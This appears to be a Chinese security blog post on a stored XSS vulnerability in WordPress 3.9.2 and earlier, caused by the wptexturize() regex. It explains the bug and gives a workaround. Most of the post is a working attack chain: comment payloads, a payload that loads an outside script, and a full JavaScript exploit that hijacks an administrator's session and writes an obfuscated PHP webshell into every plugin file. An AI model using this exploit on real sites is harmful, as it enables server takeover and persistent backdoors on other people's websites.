Wordpress 4.0 以下版本存储型跨站脚本漏洞(可直接getshell)

11月20日,Wordpress 发布最新的4.0.1版本,修复了一个存在于3.9.2及以下版本的存储型XSS漏洞。3.9.34.04.0.1版本不受影响。为了网站的安全,请尽快更新到最新的4.0.1版本。

漏洞分析

通常情况下,Wordpress 的留言是允许一些 HTML 标签的,比如<a><b><code>等等。然而标签中有一些属性是在白名单里的,比如<a>标签的href属性;同时也有一些属性被禁用,如onmouseover等。

漏洞出现在一个叫wptexturize()字符串格式化函数上,它的作用是把字符串中某些字符转换成 HTML 字符实体,例如把转换成&#8220&#8221。为了避免转换过程影响到原来的 HTML 结构,wptexturize()首先会把文本分割成数段,目的是把里面未被插入 DOM 树的 HTML 标签提取出来,与原本存在于 DOM 树的 HTML 标签分开。除此之外,这个函数还会识别出如[code]这种被方括号包装的缩写标签,避免把它们插入到 DOM 树中。

分割的过程用到了位于wp-includes/formatting.php的这一条正则表达式:

$textarr = preg_split('/(<.>|[.])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);

如果传入一段同时包含[]<>两种括号的文本,会使上面的分割过程产生错误并导致部分 HTML 代码插入到 DOM 树中。攻击者可以利用这个 BUG 在网页中给特定 HTML 标签的添加任意属性。同时,我们可以修改style属性使得某些标签覆盖整个屏幕,提高触发该标签上绑定的on事件的成功率。

漏洞利用

把以下代码填入评论区,提交后鼠标扫过评论中的链接就能触发漏洞:

[<a href="#" title="]"></a>[" <!-- onmouseover=alert(/test/)//><!-- -->点我看看<a></a>]

漏洞修复

我们可以通过禁用wptexturize()函数来修复这个漏洞。

wp-includes/formatting.php第30行插入一个return即可:

function wptexturize($text) {
        return $text;        //加入这一行
        global $wp_cockneyreplace;

或者升级到最新的 Wordpress3.9.34.0.1版本。

漏洞进一步利用

既然我们可以操控特定标签下的所有属性,因此我们可以构造特殊的字符串达到下面的效果:

  1. 让该标签覆盖整个屏幕。
  2. 借助on事件插入 JavaScript 代码。

对应的payload如下:

[<a href="#" title="]" rel="nofollow"></a>[" <!-- onmousemove=jQuery.getScript('//somescript') style="position:absolute;left:-500px;top:-100px;text-decoration:none;display:block;width:2000px;height:2000px;z-index:998";//><!-- -->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a></a>]

然后,我们需要写一段能干“坏事”的 JavaScript 代码。如果我们能诱使管理员访问已经插入漏洞代码的页面,那就相当于我们拥有了管理员的身份。Wordpress 后台提供插件编辑的功能,可以直接在后台修改插件的 PHP 源码。因此,我们可以发起 ajax 请求对插件源码进行修改,往其中插入一句话木马。

下面这段利用代码首先是0x_Jin在乌云ZONE提出的,然后我稍微优化了一下,加入如简单判断触发路径是前台or后台已插马页面不再插马准确返回shell地址等特性。具体代码如下:(请保留出处!

/* 
Author: ghy459
Blog: http://hack0nair.me
From: http://zone.wooyun.org/content/16880 by 0x_Jin

Wordpress below 3.9.2 getshell by comment xss

*/ var a = location.href.split('/'); var file = ""; var xurl = ""; var file2 = []; var StartGetshell = 'y'; //y-把马插到所有插件页面,n-把马插到第一个插件页面 var shellcode = '<?php\n$k="a"."s"."se"."rt"; $k(${"P"."OS"."T"} ["a"]);'; if (location.href.indexOf("wp-admin") == -1) { xurl = location.href.replace(a[a.length - 1], "wp-admin/plugin-editor.php"); } else { xurl = location.href.replace(a[a.length - 1], "plugin-editor.php"); } jQuery.ajax({ url: xurl, type: 'GET', dataType: 'html', data: {}, }) .done(function(data) { var temp = jQuery(data); var Xtoken = ""; var Tmpcode = ""; temp.find('input#wpnonce').each(function(i, o) { var o = jQuery(o); Xtoken = o.attr('value'); }); temp.find('textarea#newcontent').each(function(i, o) { var o = jQuery(o); if (o.text().indexOf(shellcode) == -1) { Tmpcode = o.text().replace('<?php', shellcode); } }) temp.find('div.alignleft big strong').each(function(i, o) { var o = jQuery(o); file = o.text(); }) temp.find('select#plugin option').each(function(i, o) { var o = jQuery(o); file2.push(o.attr('value')); }) if (Xtoken && Tmpcode && file) { jQuery.ajax({ url: xurl, type: 'POST', data: { 'wpnonce': Xtoken, 'newcontent': Tmpcode, 'action': 'update', 'file': file, 'plugin': file, 'submit': 'Update+File' } }) .done(function() { if (location.href.indexOf("wp-admin") == -1) { temp = location.href.substring(location.href.indexOf('?'), location.href.length); } else { temp = location.href.substring(location.href.indexOf('wp-admin'), location.href.length); } console.log(location.href.replace(temp, "wp-content/plugins/" + file)); return; }) } if (StartGetshell == 'y') { for (var i = 0; i < file2.length; i++) { var filename = file2[i]; if (file2[i] != file) { jQuery.ajax({ url: xurl, type: 'POST', data: { 'plugin': file2[i], 'Submit': 'Select' }, }) .done(function(data) { var NewCode = ""; var NewToken = ""; var Getshell = jQuery(data); Getshell.find("textarea#newcontent").each(function(i, o) { var o = jQuery(o); if (o.text().indexOf(shellcode) == -1) { NewCode = o.text().replace('<?php', shellcode); } }) Getshell.find("input#wpnonce").each(function(i, o) { var o = jQuery(o); NewToken = o.attr('value'); }) if (NewCode && NewToken) { jQuery.ajax({ url: xurl, type: 'POST', data: { '_wpnonce': NewToken, 'newcontent': NewCode, 'action': 'update', 'file': filename, 'plugin': filename, 'submit': 'Update+File' } }) .done(function() { if (location.href.indexOf("wp-admin") == -1) { temp = location.href.substring(location.href.indexOf('?'), location.href.length); } else { temp = location.href.substring(location.href.indexOf('wp-admin'), location.href.length); } console.log(location.href.replace(temp, "wp-content/plugins/" + filename)); return; }) } }) } } } }) .fail(function() { // console.log("error"); }) .always(function() { return; });

借助这段 JS 代码,再把 EXP 小改一下,就能让管理员在不知不觉中掉入我们的陷阱啦~至于加管理员神马的 payload 就不讨论啦,都 getshell 了还要管理员何用!

End.

« 返回